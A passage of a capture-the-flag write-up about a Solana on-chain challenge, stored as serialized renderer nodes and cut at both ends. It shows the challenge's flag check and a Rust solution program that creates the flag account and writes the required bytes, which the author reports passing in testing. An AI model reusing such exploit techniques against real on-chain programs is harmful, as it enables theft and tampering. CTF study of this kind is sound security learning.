type":24,"tag":158,"props":44008,"children":44009},{"style":1914},[44010],{"type":29,"value":34178},{"type":24,"tag":158,"props":44012,"children":44013},{"style":222},[44014],{"type":29,"value":4820},{"type":24,"tag":158,"props":44016,"children":44017},{"style":188},[44018],{"type":29,"value":210},{"type":24,"tag":158,"props":44020,"children":44021},{"class":160,"line":238},[44022,44026,44031,44035,44039,44043,44047,44051,44055],{"type":24,"tag":158,"props":44023,"children":44024},{"style":1914},[44025],{"type":29,"value":3160},{"type":24,"tag":158,"props":44027,"children":44028},{"style":177},[44029],{"type":29,"value":44030}," acct",{"type":24,"tag":158,"props":44032,"children":44033},{"style":222},[44034],{"type":29,"value":347},{"type":24,"tag":158,"props":44036,"children":44037},{"style":188},[44038],{"type":29,"value":5361},{"type":24,"tag":158,"props":44040,"children":44041},{"style":222},[44042],{"type":29,"value":347},{"type":24,"tag":158,"props":44044,"children":44045},{"style":496},[44046],{"type":29,"value":10726},{"type":24,"tag":158,"props":44048,"children":44049},{"style":188},[44050],{"type":29,"value":15277},{"type":24,"tag":158,"props":44052,"children":44053},{"style":222},[44054],{"type":29,"value":1034},{"type":24,"tag":158,"props":44056,"children":44057},{"style":465},[44058],{"type":29,"value":44059}," 0x1337\n",{"type":24,"tag":158,"props":44061,"children":44062},{"class":160,"line":259},[44063,44068,44072,44076,44081,44085,44089,44093,44098,44102,44106,44110,44114,44118,44122,44126,44130,44135,44139],{"type":24,"tag":158,"props":44064,"children":44065},{"style":222},[44066],{"type":29,"value":44067}," &&",{"type":24,"tag":158,"props":44069,"children":44070},{"style":171},[44071],{"type":29,"value":230},{"type":24,"tag":158,"props":44073,"children":44074},{"style":222},[44075],{"type":29,"value":2146},{"type":24,"tag":158,"props":44077,"children":44078},{"style":496},[44079],{"type":29,"value":44080},"from_le_bytes",{"type":24,"tag":158,"props":44082,"children":44083},{"style":188},[44084],{"type":29,"value":504},{"type":24,"tag":158,"props":44086,"children":44087},{"style":177},[44088],{"type":29,"value":43951},{"type":24,"tag":158,"props":44090,"children":44091},{"style":222},[44092],{"type":29,"value":347},{"type":24,"tag":158,"props":44094,"children":44095},{"style":188},[44096],{"type":29,"value":44097},"data[",{"type":24,"tag":158,"props":44099,"children":44100},{"style":222},[44101],{"type":29,"value":2030},{"type":24,"tag":158,"props":44103,"children":44104},{"style":465},[44105],{"type":29,"value":5736},{"type":24,"tag":158,"props":44107,"children":44108},{"style":188},[44109],{"type":29,"value":16646},{"type":24,"tag":158,"props":44111,"children":44112},{"style":222},[44113],{"type":29,"value":347},{"type":24,"tag":158,"props":44115,"children":44116},{"style":496},[44117],{"type":29,"value":27419},{"type":24,"tag":158,"props":44119,"children":44120},{"style":188},[44121],{"type":29,"value":15113},{"type":24,"tag":158,"props":44123,"children":44124},{"style":222},[44125],{"type":29,"value":347},{"type":24,"tag":158,"props":44127,"children":44128},{"style":496},[44129],{"type":29,"value":5324},{"type":24,"tag":158,"props":44131,"children":44132},{"style":188},[44133],{"type":29,"value":44134},"()) ",{"type":24,"tag":158,"props":44136,"children":44137},{"style":222},[44138],{"type":29,"value":1034},{"type":24,"tag":158,"props":44140,"children":44141},{"style":465},[44142],{"type":29,"value":44143}," 0x4337\n",{"type":24,"tag":158,"props":44145,"children":44146},{"class":160,"line":280},[44147],{"type":24,"tag":158,"props":44148,"children":44149},{"style":188},[44150],{"type":29,"value":30446},{"type":24,"tag":158,"props":44152,"children":44153},{"class":160,"line":301},[44154,44159,44163,44167,44171,44176,44180,44184],{"type":24,"tag":158,"props":44155,"children":44156},{"style":496},[44157],{"type":29,"value":44158}," writeln!",{"type":24,"tag":158,"props":44160,"children":44161},{"style":188},[44162],{"type":29,"value":504},{"type":24,"tag":158,"props":44164,"children":44165},{"style":177},[44166],{"type":29,"value":43204},{"type":24,"tag":158,"props":44168,"children":44169},{"style":188},[44170],{"type":29,"value":191},{"type":24,"tag":158,"props":44172,"children":44173},{"style":1108},[44174],{"type":29,"value":44175},"\"congrats!\"",{"type":24,"tag":158,"props":44177,"children":44178},{"style":188},[44179],{"type":29,"value":521},{"type":24,"tag":158,"props":44181,"children":44182},{"style":222},[44183],{"type":29,"value":4820},{"type":24,"tag":158,"props":44185,"children":44186},{"style":188},[44187],{"type":29,"value":473},{"type":24,"tag":158,"props":44189,"children":44190},{"class":160,"line":626},[44191,44195,44199,44204,44208,44212,44216,44220,44225,44229,44233,44237,44241],{"type":24,"tag":158,"props":44192,"children":44193},{"style":1914},[44194],{"type":29,"value":4936},{"type":24,"tag":158,"props":44196,"children":44197},{"style":165},[44198],{"type":29,"value":28562},{"type":24,"tag":158,"props":44200,"children":44201},{"style":171},[44202],{"type":29,"value":44203}," Ok",{"type":24,"tag":158,"props":44205,"children":44206},{"style":188},[44207],{"type":29,"value":504},{"type":24,"tag":158,"props":44209,"children":44210},{"style":177},[44211],{"type":29,"value":43998},{"type":24,"tag":158,"props":44213,"children":44214},{"style":188},[44215],{"type":29,"value":723},{"type":24,"tag":158,"props":44217,"children":44218},{"style":222},[44219],{"type":29,"value":1285},{"type":24,"tag":158,"props":44221,"children":44222},{"style":188},[44223],{"type":29,"value":44224}," env",{"type":24,"tag":158,"props":44226,"children":44227},{"style":222},[44228],{"type":29,"value":2146},{"type":24,"tag":158,"props":44230,"children":44231},{"style":496},[44232],{"type":29,"value":36310},{"type":24,"tag":158,"props":44234,"children":44235},{"style":188},[44236],{"type":29,"value":504},{"type":24,"tag":158,"props":44238,"children":44239},{"style":1108},[44240],{"type":29,"value":43889},{"type":24,"tag":158,"props":44242,"children":44243},{"style":188},[44244],{"type":29,"value":16038},{"type":24,"tag":158,"props":44246,"children":44247},{"class":160,"line":668},[44248,44253,44257,44261,44265,44270,44274,44278,44282,44286],{"type":24,"tag":158,"props":44249,"children":44250},{"style":496},[44251],{"type":29,"value":44252}," writeln!",{"type":24,"tag":158,"props":44254,"children":44255},{"style":188},[44256],{"type":29,"value":504},{"type":24,"tag":158,"props":44258,"children":44259},{"style":177},[44260],{"type":29,"value":43204},{"type":24,"tag":158,"props":44262,"children":44263},{"style":188},[44264],{"type":29,"value":191},{"type":24,"tag":158,"props":44266,"children":44267},{"style":1108},[44268],{"type":29,"value":44269},"\"flag: {:?}\"",{"type":24,"tag":158,"props":44271,"children":44272},{"style":188},[44273],{"type":29,"value":191},{"type":24,"tag":158,"props":44275,"children":44276},{"style":177},[44277],{"type":29,"value":43998},{"type":24,"tag":158,"props":44279,"children":44280},{"style":188},[44281],{"type":29,"value":521},{"type":24,"tag":158,"props":44283,"children":44284},{"style":222},[44285],{"type":29,"value":4820},{"type":24,"tag":158,"props":44287,"children":44288},{"style":188},[44289],{"type":29,"value":473},{"type":24,"tag":158,"props":44291,"children":44292},{"class":160,"line":676},[44293,44297,44301],{"type":24,"tag":158,"props":44294,"children":44295},{"style":188},[44296],{"type":29,"value":4973},{"type":24,"tag":158,"props":44298,"children":44299},{"style":1914},[44300],{"type":29,"value":4978},{"type":24,"tag":158,"props":44302,"children":44303},{"style":188},[44304],{"type":29,"value":210},{"type":24,"tag":158,"props":44306,"children":44307},{"class":160,"line":684},[44308,44312,44316,44320,44324,44329,44333,44337],{"type":24,"tag":158,"props":44309,"children":44310},{"style":496},[44311],{"type":29,"value":44252},{"type":24,"tag":158,"props":44313,"children":44314},{"style":188},[44315],{"type":29,"value":504},{"type":24,"tag":158,"props":44317,"children":44318},{"style":177},[44319],{"type":29,"value":43204},{"type":24,"tag":158,"props":44321,"children":44322},{"style":188},[44323],{"type":29,"value":191},{"type":24,"tag":158,"props":44325,"children":44326},{"style":1108},[44327],{"type":29,"value":44328},"\"flag not found, please contact admin\"",{"type":24,"tag":158,"props":44330,"children":44331},{"style":188},[44332],{"type":29,"value":521},{"type":24,"tag":158,"props":44334,"children":44335},{"style":222},[44336],{"type":29,"value":4820},{"type":24,"tag":158,"props":44338,"children":44339},{"style":188},[44340],{"type":29,"value":473},{"type":24,"tag":158,"props":44342,"children":44343},{"class":160,"line":700},[44344],{"type":24,"tag":158,"props":44345,"children":44346},{"style":188},[44347],{"type":29,"value":5010},{"type":24,"tag":158,"props":44349,"children":44350},{"class":160,"line":785},[44351],{"type":24,"tag":158,"props":44352,"children":44353},{"style":188},[44354],{"type":29,"value":3967},{"type":24,"tag":158,"props":44356,"children":44357},{"class":160,"line":1447},[44358],{"type":24,"tag":158,"props":44359,"children":44360},{"style":188},[44361],{"type":29,"value":307},{"type":24,"tag":59,"props":44363,"children":44365},{"id":44364},"solution-idea",[44366],{"type":29,"value":44367},"Solution Idea",{"type":24,"tag":25,"props":44369,"children":44370},{},[44371,44373,44378],{"type":29,"value":44372},"You may think it's impossible to do with just one instruction, but we can actually leverage the ",{"type":24,"tag":154,"props":44374,"children":44376},{"className":44375},[],[44377],{"type":29,"value":36945},{"type":29,"value":44379}," function to execute infinite instructions. Well -- not entirely infinite, as we are limited by the amount of data we can pass to the on-chain program, and by the maximum stack depth of the Solana VM -- but we can execute up to 64 instructions, which is more than enough to get the flag.",{"type":24,"tag":25,"props":44381,"children":44382},{},[44383,44385,44391],{"type":29,"value":44384},"In order to get the flag, we need to make sure that the account at ",{"type":24,"tag":154,"props":44386,"children":44388},{"className":44387},[],[44389],{"type":29,"value":44390},"PDA(\"FLAG\")",{"type":29,"value":44392}," exists, has a data length of 0x1337, and the first 8 bytes are equal to 0x4337.",{"type":24,"tag":25,"props":44394,"children":44395},{},[44396,44398,44405],{"type":29,"value":44397},"Essentially, we need to ",{"type":24,"tag":101,"props":44399,"children":44402},{"href":44400,"rel":44401},"https://docs.solana.com/developing/runtime-facilities/programs#system-program",[105],[44403],{"type":29,"value":44404},"invoke the System Program",{"type":29,"value":44406},", and write controlled data into the newly created account.",{"type":24,"tag":25,"props":44408,"children":44409},{},[44410],{"type":29,"value":44411},"A sample program that does this is as follows:",{"type":24,"tag":147,"props":44413,"children":44415},{"className":151,"code":44414,"language":150,"meta":7,"style":7},"pub fn process_instruction(\n program_id: &Pubkey,\n accounts: &[AccountInfo],\n data: &[u8]\n) -> ProgramResult {\n let flag_pda_ai = &accounts[0];\n let user_ai = &accounts[1];\n\n // Step 1: Create a new account with 0x1337 bytes of data\n let instruction = Instruction::new_with_bincode(\n system_program::ID,\n &SystemInstruction::CreateAccount {\n space: 0x1337,\n lamports: Rent::default().minimum_balance(0x1337),\n owner: chall::ID\n },\n vec![\n AccountMeta::new(*user_ai.key, true),\n AccountMeta::new(*flag_pda_ai.key, true),\n ],\n );\n invoke_signed_unchecked(\n &instruction,\n &[\n user_ai.clone(),\n flag_pda_ai.clone(),\n ],\n &[&[\"FLAG\".as_ref()]],\n )?;\n\n // Step 2: Write 0x4337 to the first 8 bytes of the account\n flag_pda_ai.try_borrow_mut_data()?[..8].copy_from_slice(&0x4337u64.to_le_bytes());\n\n Ok(())\n}\n",[44416],{"type":24,"tag":154,"props":44417,"children":44418},{"__ignoreMap":7},[44419,44439,44463,44491,44519,44539,44575,44611,44618,44626,44659,44676,44701,44722,44774,44799,44806,44819,44865,44909,44917,44925,44936,44952,44963,44983,45003,45010,45046,45061,45068,45076,45155,45162,45173],{"type":24,"tag":158,"props":44420,"children":44421},{"class":160,"line":161},[44422,44426,44430,44435],{"type":24,"tag":158,"props":44423,"children":44424},{"style":165},[44425],{"type":29,"value":14924},{"type":24,"tag":158,"props":44427,"children":44428},{"style":165},[44429],{"type":29,"value":14929},{"type":24,"tag":158,"props":44431,"children":44432},{"style":496},[44433],{"type":29,"value":44434}," process_instruction",{"type":24,"tag":158,"props":44436,"children":44437},{"style":188},[44438],{"type":29,"value":2156},{"type":24,"tag":158,"props":44440,"children":44441},{"class":160,"line":213},[44442,44447,44451,44455,44459],{"type":24,"tag":158,"props":44443,"children":44444},{"style":177},[44445],{"type":29,"value":44446}," program_id",{"type":24,"tag":158,"props":44448,"children":44449},{"style":222},[44450],{"type":29,"value":225},{"type":24,"tag":158,"props":44452,"children":44453},{"style":222},[44454],{"type":29,"value":8784},{"type":24,"tag":158,"props":44456,"children":44457},{"style":171},[44458],{"type":29,"value":22642},{"type":24,"tag":158,"props":44460,"children":44461},{"style":188},[44462],{"type":29,"value":235},{"type":24,"tag":158,"props":44464,"children":44465},{"class":160,"line":238},[44466,44471,44475,44479,44483,44487],{"type":24,"tag":158,"props":44467,"children":44468},{"style":177},[44469],{"type":29,"value":44470}," accounts",{"type":24,"tag":158,"props":44472,"children":44473},{"style":222},[44474],{"type":29,"value":225},{"type":24,"tag":158,"props":44476,"children":44477},{"style":222},[44478],{"type":29,"value":8784},{"type":24,"tag":158,"props":44480,"children":44481},{"style":188},[44482],{"type":29,"value":2048},{"type":24,"tag":158,"props":44484,"children":44485},{"style":171},[44486],{"type":29,"value":16173},{"type":24,"tag":158,"props":44488,"children":44489},{"style":188},[44490],{"type":29,"value":15497},{"type":24,"tag":158,"props":44492,"children":44493},{"class":160,"line":259},[44494,44499,44503,44507,44511,44515],{"type":24,"tag":158,"props":44495,"children":44496},{"style":177},[44497],{"type":29,"value":44498}," data",{"type":24,"tag":158,"props":44500,"children":44501},{"style":222},[44502],{"type":29,"value":225},{"type":24,"tag":158,"props":44504,"children":44505},{"style":222},[44506],{"type":29,"value":8784},{"type":24,"tag":158,"props":44508,"children":44509},{"style":188},[44510],{"type":29,"value":2048},{"type":24,"tag":158,"props":44512,"children":44513},{"style":171},[44514],{"type":29,"value":5082},{"type":24,"tag":158,"props":44516,"children":44517},{"style":188},[44518],{"type":29,"value":2647},{"type":24,"tag":158,"props":44520,"children":44521},{"class":160,"line":280},[44522,44526,44530,44535],{"type":24,"tag":158,"props":44523,"children":44524},{"style":188},[44525],{"type":29,"value":723},{"type":24,"tag":158,"props":44527,"children":44528},{"style":222},[44529],{"type":29,"value":14991},{"type":24,"tag":158,"props":44531,"children":44532},{"style":171},[44533],{"type":29,"value":44534}," ProgramResult",{"type":24,"tag":158,"props":44536,"children":44537},{"style":188},[44538],{"type":29,"value":210},{"type":24,"tag":158,"props":44540,"children":44541},{"class":160,"line":301},[44542,44546,44551,44555,44559,44563,44567,44571],{"type":24,"tag":158,"props":44543,"children":44544},{"style":165},[44545],{"type":29,"value":2710},{"type":24,"tag":158,"props":44547,"children":44548},{"style":177},[44549],{"type":29,"value":44550}," flag_pda_ai",{"type":24,"tag":158,"props":44552,"children":44553},{"style":222},[44554],{"type":29,"value":462},{"type":24,"tag":158,"props":44556,"children":44557},{"style":222},[44558],{"type":29,"value":8784},{"type":24,"tag":158,"props":44560,"children":44561},{"style":177},[44562],{"type":29,"value":15909},{"type":24,"tag":158,"props":44564,"children":44565},{"style":188},[44566],{"type":29,"value":2048},{"type":24,"tag":158,"props":44568,"children":44569},{"style":465},[44570],{"type":29,"value":5682},{"type":24,"tag":158,"props":44572,"children":44573},{"style":188},[44574],{"type":29,"value":32835},{"type":24,"tag":158,"props":44576,"children":44577},{"class":160,"line":626},[44578,44582,44587,44591,44595,44599,44603,44607],{"type":24,"tag":158,"props":44579,"children":44580},{"style":165},[44581],{"type":29,"value":2710},{"type":24,"tag":158,"props":44583,"children":44584},{"style":177},[44585],{"type":29,"value":44586}," user_ai",{"type":24,"tag":158,"props":44588,"children":44589},{"style":222},[44590],{"type":29,"value":462},{"type":24,"tag":158,"props":44592,"children":44593},{"style":222},[44594],{"type":29,"value":8784},{"type":24,"tag":158,"props":44596,"children":44597},{"style":177},[44598],{"type":29,"value":15909},{"type":24,"tag":158,"props":44600,"children":44601},{"style":188},[44602],{"type":29,"value":2048},{"type":24,"tag":158,"props":44604,"children":44605},{"style":465},[44606],{"type":29,"value":5672},{"type":24,"tag":158,"props":44608,"children":44609},{"style":188},[44610],{"type":29,"value":32835},{"type":24,"tag":158,"props":44612,"children":44613},{"class":160,"line":668},[44614],{"type":24,"tag":158,"props":44615,"children":44616},{"emptyLinePlaceholder":16},[44617],{"type":29,"value":481},{"type":24,"tag":158,"props":44619,"children":44620},{"class":160,"line":676},[44621],{"type":24,"tag":158,"props":44622,"children":44623},{"style":2588},[44624],{"type":29,"value":44625}," // Step 1: Create a new account with 0x1337 bytes of data\n",{"type":24,"tag":158,"props":44627,"children":44628},{"class":160,"line":684},[44629,44633,44638,44642,44646,44650,44655],{"type":24,"tag":158,"props":44630,"children":44631},{"style":165},[44632],{"type":29,"value":2710},{"type":24,"tag":158,"props":44634,"children":44635},{"style":177},[44636],{"type":29,"value":44637}," instruction",{"type":24,"tag":158,"props":44639,"children":44640},{"style":222},[44641],{"type":29,"value":462},{"type":24,"tag":158,"props":44643,"children":44644},{"style":171},[44645],{"type":29,"value":42277},{"type":24,"tag":158,"props":44647,"children":44648},{"style":222},[44649],{"type":29,"value":2146},{"type":24,"tag":158,"props":44651,"children":44652},{"style":496},[44653],{"type":29,"value":44654},"new_with_bincode",{"type":24,"tag":158,"props":44656,"children":44657},{"style":188},[44658],{"type":29,"value":2156},{"type":24,"tag":158,"props":44660,"children":44661},{"class":160,"line":700},[44662,44667,44671],{"type":24,"tag":158,"props":44663,"children":44664},{"style":188},[44665],{"type":29,"value":44666}," system_program",{"type":24,"tag":158,"props":44668,"children":44669},{"style":222},[44670],{"type":29,"value":2146},{"type":24,"tag":158,"props":44672,"children":44673},{"style":188},[44674],{"type":29,"value":44675},"ID,\n",{"type":24,"tag":158,"props":44677,"children":44678},{"class":160,"line":785},[44679,44683,44688,44692,44697],{"type":24,"tag":158,"props":44680,"children":44681},{"style":222},[44682],{"type":29,"value":5131},{"type":24,"tag":158,"props":44684,"children":44685},{"style":188},[44686],{"type":29,"value":44687},"SystemInstruction",{"type":24,"tag":158,"props":44689,"children":44690},{"style":222},[44691],{"type":29,"value":2146},{"type":24,"tag":158,"props":44693,"children":44694},{"style":171},[44695],{"type":29,"value":44696},"CreateAccount",{"type":24,"tag":158,"props":44698,"children":44699},{"style":188},[44700],{"type":29,"value":210},{"type":24,"tag":158,"props":44702,"children":44703},{"class":160,"line":1447},[44704,44709,44713,44718],{"type":24,"tag":158,"props":44705,"children":44706},{"style":177},[44707],{"type":29,"value":44708}," space",{"type":24,"tag":158,"props":44710,"children":44711},{"style":222},[44712],{"type":29,"value":225},{"type":24,"tag":158,"props":44714,"children":44715},{"style":465},[44716],{"type":29,"value":44717}," 0x1337",{"type":24,"tag":158,"props":44719,"children":44720},{"style":188},[44721],{"type":29,"value":235},{"type":24,"tag":158,"props":44723,"children":44724},{"class":160,"line":1509},[44725,44730,44734,44739,44743,44748,44752,44756,44761,44765,44770],{"type":24,"tag":158,"props":44726,"children":44727},{"style":177},[44728],{"type":29,"value":44729}," lamports",{"type":24,"tag":158,"props":44731,"children":44732},{"style":222},[44733],{"type":29,"value":225},{"type":24,"tag":158,"props":44735,"children":44736},{"style":188},[44737],{"type":29,"value":44738}," Rent",{"type":24,"tag":158,"props":44740,"children":44741},{"style":222},[44742],{"type":29,"value":2146},{"type":24,"tag":158,"props":44744,"children":44745},{"style":496},[44746],{"type":29,"value":44747},"default",{"type":24,"tag":158,"props":44749,"children":44750},{"style":188},[44751],{"type":29,"value":15113},{"type":24,"tag":158,"props":44753,"children":44754},{"style":222},[44755],{"type":29,"value":347},{"type":24,"tag":158,"props":44757,"children":44758},{"style":496},[44759],{"type":29,"value":44760},"minimum_balance",{"type":24,"tag":158,"props":44762,"children":44763},{"style":188},[44764],{"type":29,"value":504},{"type":24,"tag":158,"props":44766,"children":44767},{"style":465},[44768],{"type":29,"value":44769},"0x1337",{"type":24,"tag":158,"props":44771,"children":44772},{"style":188},[44773],{"type":29,"value":8382},{"type":24,"tag":158,"props":44775,"children":44776},{"class":160,"line":1527},[44777,44782,44786,44790,44794],{"type":24,"tag":158,"props":44778,"children":44779},{"style":177},[44780],{"type":29,"value":44781}," owner",{"type":24,"tag":158,"props":44783,"children":44784},{"style":222},[44785],{"type":29,"value":225},{"type":24,"tag":158,"props":44787,"children":44788},{"style":188},[44789],{"type":29,"value":43309},{"type":24,"tag":158,"props":44791,"children":44792},{"style":222},[44793],{"type":29,"value":2146},{"type":24,"tag":158,"props":44795,"children":44796},{"style":188},[44797],{"type":29,"value":44798},"ID\n",{"type":24,"tag":158,"props":44800,"children":44801},{"class":160,"line":1545},[44802],{"type":24,"tag":158,"props":44803,"children":44804},{"style":188},[44805],{"type":29,"value":26630},{"type":24,"tag":158,"props":44807,"children":44808},{"class":160,"line":1618},[44809,44814],{"type":24,"tag":158,"props":44810,"children":44811},{"style":496},[44812],{"type":29,"value":44813}," vec!",{"type":24,"tag":158,"props":44815,"children":44816},{"style":188},[44817],{"type":29,"value":44818},"[\n",{"type":24,"tag":158,"props":44820,"children":44821},{"class":160,"line":1635},[44822,44827,44831,44835,44839,44843,44848,44852,44857,44861],{"type":24,"tag":158,"props":44823,"children":44824},{"style":188},[44825],{"type":29,"value":44826}," AccountMeta",{"type":24,"tag":158,"props":44828,"children":44829},{"style":222},[44830],{"type":29,"value":2146},{"type":24,"tag":158,"props":44832,"children":44833},{"style":496},[44834],{"type":29,"value":16357},{"type":24,"tag":158,"props":44836,"children":44837},{"style":188},[44838],{"type":29,"value":504},{"type":24,"tag":158,"props":44840,"children":44841},{"style":222},[44842],{"type":29,"value":577},{"type":24,"tag":158,"props":44844,"children":44845},{"style":177},[44846],{"type":29,"value":44847},"user_ai",{"type":24,"tag":158,"props":44849,"children":44850},{"style":222},[44851],{"type":29,"value":347},{"type":24,"tag":158,"props":44853,"children":44854},{"style":188},[44855],{"type":29,"value":44856},"key, ",{"type":24,"tag":158,"props":44858,"children":44859},{"style":165},[44860],{"type":29,"value":3185},{"type":24,"tag":158,"props":44862,"children":44863},{"style":188},[44864],{"type":29,"value":8382},{"type":24,"tag":158,"props":44866,"children":44867},{"class":160,"line":1644},[44868,44872,44876,44880,44884,44888,44893,44897,44901,44905],{"type":24,"tag":158,"props":44869,"children":44870},{"style":188},[44871],{"type":29,"value":44826},{"type":24,"tag":158,"props":44873,"children":44874},{"style":222},[44875],{"type":29,"value":2146},{"type":24,"tag":158,"props":44877,"children":44878},{"style":496},[44879],{"type":29,"value":16357},{"type":24,"tag":158,"props":44881,"children":44882},{"style":188},[44883],{"type":29,"value":504},{"type":24,"tag":158,"props":44885,"children":44886},{"style":222},[44887],{"type":29,"value":577},{"type":24,"tag":158,"props":44889,"children":44890},{"style":177},[44891],{"type":29,"value":44892},"flag_pda_ai",{"type":24,"tag":158,"props":44894,"children":44895},{"style":222},[44896],{"type":29,"value":347},{"type":24,"tag":158,"props":44898,"children":44899},{"style":188},[44900],{"type":29,"value":44856},{"type":24,"tag":158,"props":44902,"children":44903},{"style":165},[44904],{"type":29,"value":3185},{"type":24,"tag":158,"props":44906,"children":44907},{"style":188},[44908],{"type":29,"value":8382},{"type":24,"tag":158,"props":44910,"children":44911},{"class":160,"line":1652},[44912],{"type":24,"tag":158,"props":44913,"children":44914},{"style":188},[44915],{"type":29,"value":44916}," ],\n",{"type":24,"tag":158,"props":44918,"children":44919},{"class":160,"line":1704},[44920],{"type":24,"tag":158,"props":44921,"children":44922},{"style":188},[44923],{"type":29,"value":44924}," );\n",{"type":24,"tag":158,"props":44926,"children":44927},{"class":160,"line":1713},[44928,44932],{"type":24,"tag":158,"props":44929,"children":44930},{"style":496},[44931],{"type":29,"value":42394},{"type":24,"tag":158,"props":44933,"children":44934},{"style":188},[44935],{"type":29,"value":2156},{"type":24,"tag":158,"props":44937,"children":44938},{"class":160,"line":1731},[44939,44943,44948],{"type":24,"tag":158,"props":44940,"children":44941},{"style":222},[44942],{"type":29,"value":5131},{"type":24,"tag":158,"props":44944,"children":44945},{"style":177},[44946],{"type":29,"value":44947},"instruction",{"type":24,"tag":158,"props":44949,"children":44950},{"style":188},[44951],{"type":29,"value":235},{"type":24,"tag":158,"props":44953,"children":44954},{"class":160,"line":5485},[44955,44959],{"type":24,"tag":158,"props":44956,"children":44957},{"style":222},[44958],{"type":29,"value":5131},{"type":24,"tag":158,"props":44960,"children":44961},{"style":188},[44962],{"type":29,"value":44818},{"type":24,"tag":158,"props":44964,"children":44965},{"class":160,"line":5493},[44966,44971,44975,44979],{"type":24,"tag":158,"props":44967,"children":44968},{"style":177},[44969],{"type":29,"value":44970}," user_ai",{"type":24,"tag":158,"props":44972,"children":44973},{"style":222},[44974],{"type":29,"value":347},{"type":24,"tag":158,"props":44976,"children":44977},{"style":496},[44978],{"type":29,"value":16655},{"type":24,"tag":158,"props":44980,"children":44981},{"style":188},[44982],{"type":29,"value":5150},{"type":24,"tag":158,"props":44984,"children":44985},{"class":160,"line":5553},[44986,44991,44995,44999],{"type":24,"tag":158,"props":44987,"children":44988},{"style":177},[44989],{"type":29,"value":44990}," flag_pda_ai",{"type":24,"tag":158,"props":44992,"children":44993},{"style":222},[44994],{"type":29,"value":347},{"type":24,"tag":158,"props":44996,"children":44997},{"style":496},[44998],{"type":29,"value":16655},{"type":24,"tag":158,"props":45000,"children":45001},{"style":188},[45002],{"type":29,"value":5150},{"type":24,"tag":158,"props":45004,"children":45005},{"class":160,"line":10636},[45006],{"type":24,"tag":158,"props":45007,"children":45008},{"style":188},[45009],{"type":29,"value":44916},{"type":24,"tag":158,"props":45011,"children":45012},{"class":160,"line":10652},[45013,45017,45021,45025,45029,45033,45037,45041],{"type":24,"tag":158,"props":45014,"children":45015},{"style":222},[45016],{"type":29,"value":5131},{"type":24,"tag":158,"props":45018,"children":45019},{"style":188},[45020],{"type":29,"value":2048},{"type":24,"tag":158,"props":45022,"children":45023},{"style":222},[45024],{"type":29,"value":2212},{"type":24,"tag":158,"props":45026,"children":45027},{"style":188},[45028],{"type":29,"value":2048},{"type":24,"tag":158,"props":45030,"children":45031},{"style":1108},[45032],{"type":29,"value":43889},{"type":24,"tag":158,"props":45034,"children":45035},{"style":222},[45036],{"type":29,"value":347},{"type":24,"tag":158,"props":45038,"children":45039},{"style":496},[45040],{"type":29,"value":43898},{"type":24,"tag":158,"props":45042,"children":45043},{"style":188},[45044],{"type":29,"value":45045},"()]],\n",{"type":24,"tag":158,"props":45047,"children":45048},{"class":160,"line":10696},[45049,45053,45057],{"type":24,"tag":158,"props":45050,"children":45051},{"style":188},[45052],{"type":29,"value":5315},{"type":24,"tag":158,"props":45054,"children":45055},{"style":222},[45056],{"type":29,"value":4820},{"type":24,"tag":158,"props":45058,"children":45059},{"style":188},[45060],{"type":29,"value":473},{"type":24,"tag":158,"props":45062,"children":45063},{"class":160,"line":10801},[45064],{"type":24,"tag":158,"props":45065,"children":45066},{"emptyLinePlaceholder":16},[45067],{"type":29,"value":481},{"type":24,"tag":158,"props":45069,"children":45070},{"class":160,"line":24754},[45071],{"type":24,"tag":158,"props":45072,"children":45073},{"style":2588},[45074],{"type":29,"value":45075}," // Step 2: Write 0x4337 to the first 8 bytes of the account\n",{"type":24,"tag":158,"props":45077,"children":45078},{"class":160,"line":24789},[45079,45084,45088,45092,45096,45100,45104,45108,45112,45116,45120,45125,45129,45133,45138,45142,45146,45151],{"type":24,"tag":158,"props":45080,"children":45081},{"style":177},[45082],{"type":29,"value":45083}," flag_pda_ai",{"type":24,"tag":158,"props":45085,"children":45086},{"style":222},[45087],{"type":29,"value":347},{"type":24,"tag":158,"props":45089,"children":45090},{"style":496},[45091],{"type":29,"value":15108},{"type":24,"tag":158,"props":45093,"children":45094},{"style":188},[45095],{"type":29,"value":15113},{"type":24,"tag":158,"props":45097,"children":45098},{"style":222},[45099],{"type":29,"value":4820},{"type":24,"tag":158,"props":45101,"children":45102},{"style":188},[45103],{"type":29,"value":2048},{"type":24,"tag":158,"props":45105,"children":45106},{"style":222},[45107],{"type":29,"value":2030},{"type":24,"tag":158,"props":45109,"children":45110},{"style":465},[45111],{"type":29,"value":5736},{"type":24,"tag":158,"props":45113,"children":45114},{"style":188},[45115],{"type":29,"value":16646},{"type":24,"tag":158,"props":45117,"children":45118},{"style":222},[45119],{"type":29,"value":347},{"type":24,"tag":158,"props":45121,"children":45122},{"style":496},[45123],{"type":29,"value":45124},"copy_from_slice",{"type":24,"tag":158,"props":45126,"children":45127},{"style":188},[45128],{"type":29,"value":504},{"type":24,"tag":158,"props":45130,"children":45131},{"style":222},[45132],{"type":29,"value":2212},{"type":24,"tag":158,"props":45134,"children":45135},{"style":465},[45136],{"type":29,"value":45137},"0x4337",{"type":24,"tag":158,"props":45139,"children":45140},{"style":171},[45141],{"type":29,"value":4269},{"type":24,"tag":158,"props":45143,"children":45144},{"style":222},[45145],{"type":29,"value":347},{"type":24,"tag":158,"props":45147,"children":45148},{"style":496},[45149],{"type":29,"value":45150},"to_le_bytes",{"type":24,"tag":158,"props":45152,"children":45153},{"style":188},[45154],{"type":29,"value":16660},{"type":24,"tag":158,"props":45156,"children":45157},{"class":160,"line":24797},[45158],{"type":24,"tag":158,"props":45159,"children":45160},{"emptyLinePlaceholder":16},[45161],{"type":29,"value":481},{"type":24,"tag":158,"props":45163,"children":45164},{"class":160,"line":24805},[45165,45169],{"type":24,"tag":158,"props":45166,"children":45167},{"style":171},[45168],{"type":29,"value":15567},{"type":24,"tag":158,"props":45170,"children":45171},{"style":188},[45172],{"type":29,"value":15572},{"type":24,"tag":158,"props":45174,"children":45175},{"class":160,"line":24814},[45176],{"type":24,"tag":158,"props":45177,"children":45178},{"style":188},[45179],{"type":29,"value":307},{"type":24,"tag":25,"props":45181,"children":45182},{},[45183],{"type":29,"value":45184},"To test this theory, we can execute the program above inside the test environment, and see if we can get the flag:",{"type":24,"tag":25,"props":45186,"children":45187},{},[45188],{"type":24,"tag":84,"props":45189,"children":45192},{"alt":45190,"src":45191},"Screenshot","/posts/jumping-around-in-the-vm/screenshot.png",[],{"type":24,"tag":25,"props":45194,"children":45195},{},[45196],{"type":29,"value":45197},"It works! Now we \"just\" need to find a way to execute the program above, by leveraging the single Instruction call to the program. This is easier said than done. The next 